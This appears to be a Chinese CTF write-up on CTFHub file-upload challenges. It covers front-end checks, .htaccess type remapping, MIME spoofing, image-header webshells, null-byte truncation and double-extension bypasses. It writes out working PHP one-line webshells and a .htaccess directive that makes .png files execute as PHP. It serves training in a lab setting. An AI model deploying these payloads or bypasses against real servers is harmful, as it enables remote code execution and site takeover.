目录
文件上传-前端验证
上传文件时,客户端的javascript会对文件的类型进行一个校验,只允许 “.jpg” “.png” ".gif"的文件上传,于是关掉他
about:config
一句木马
<?php @eval($_POST['123']); ?>
命名为1.php之后上传文件,用蚁剑打开他会发现flag
文件上传-.htaccess
.htaccess是一个纯文本文件,存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。
https://www.cnblogs.com/engeng/articles/5948089.html
----------------------------------------------------------
AddType application/x-httpd-php .png//凡是png文件都当作php文件来解
以他为内容构建 .htaccess文件(特别注意这里文件名不可随意更改,因为 .htaccess 是配置文件)
<?php @eval($_POST["pass"]);?>
以他为内容命名为20.png
在题目页面先上传.htaccess,之后在上传20.png
之后用蚁剑解开就可得到flag
文件上传-MIME绕过
MIME多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式.
----------------------------------------------------------
<?php @eval($_POST["pass"]);?>
以他为内容文件名为20.php
打开题目页面上传20.php并进行抓包
修改为image/jpg绕过验证,
放包,用蚁剑找flag
文件上传-文件头检查
写一个图片马
https://blog.csdn.net/Ro_kin/article/details/75578711
之后将图片马命名为1.php,上传之后抓包(注意修改修改为image/png绕过检查)
之后蚁剑来一遍flag就找到了
文件上传-00截断
00截断的原理,就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。 需要注意的是,0x00截断是16进制的截断,需要修改16进制的数据头,如果使用burp,就要在Hex中对数据进行改写。
-------------------------------------------------------------------
https://blog.csdn.net/Ro_kin/article/details/75578711
制作一个名为1.jpg的图片马上传抓包(注意红色字体后面加上1.php%00(1.php是我自己的文件名)
放包用蚁剑找flag
特别注意蚁剑连接
http://challenge-b810f810b52f1680.sandbox.ctfhub.com:10800/upload/1.php
文件上传-双写后缀
双写后缀绕过 用于只将文件后缀名,例如 "php" 字符串过滤的场合; 例如:上传时将Burpsuite截获的数据包中文件名【evil.php】改为【evil.pphphp】,那么过滤了第一个 "php" 字符串 "后,开头的'p'和结尾的'hp'就组合又形成了【php】。
---------------------------------------------------
写一句木马文件名为20.pphphp上传,会显示上传成功,之后用蚁剑找flag
eval执行
eval () 是一个危险的函数, 它使用与调用者相同的权限执行代码。 如果你用 eval () 运行的字符串代码被恶意方(不怀好意的人)修改,您最终可能会在您的网页/扩展程序的权限下,在用户计算机上运行恶意代码。
-----------------------------------------------------
查看根目录文件
查看下一级目录,
使用cat命令读取文件,找到flag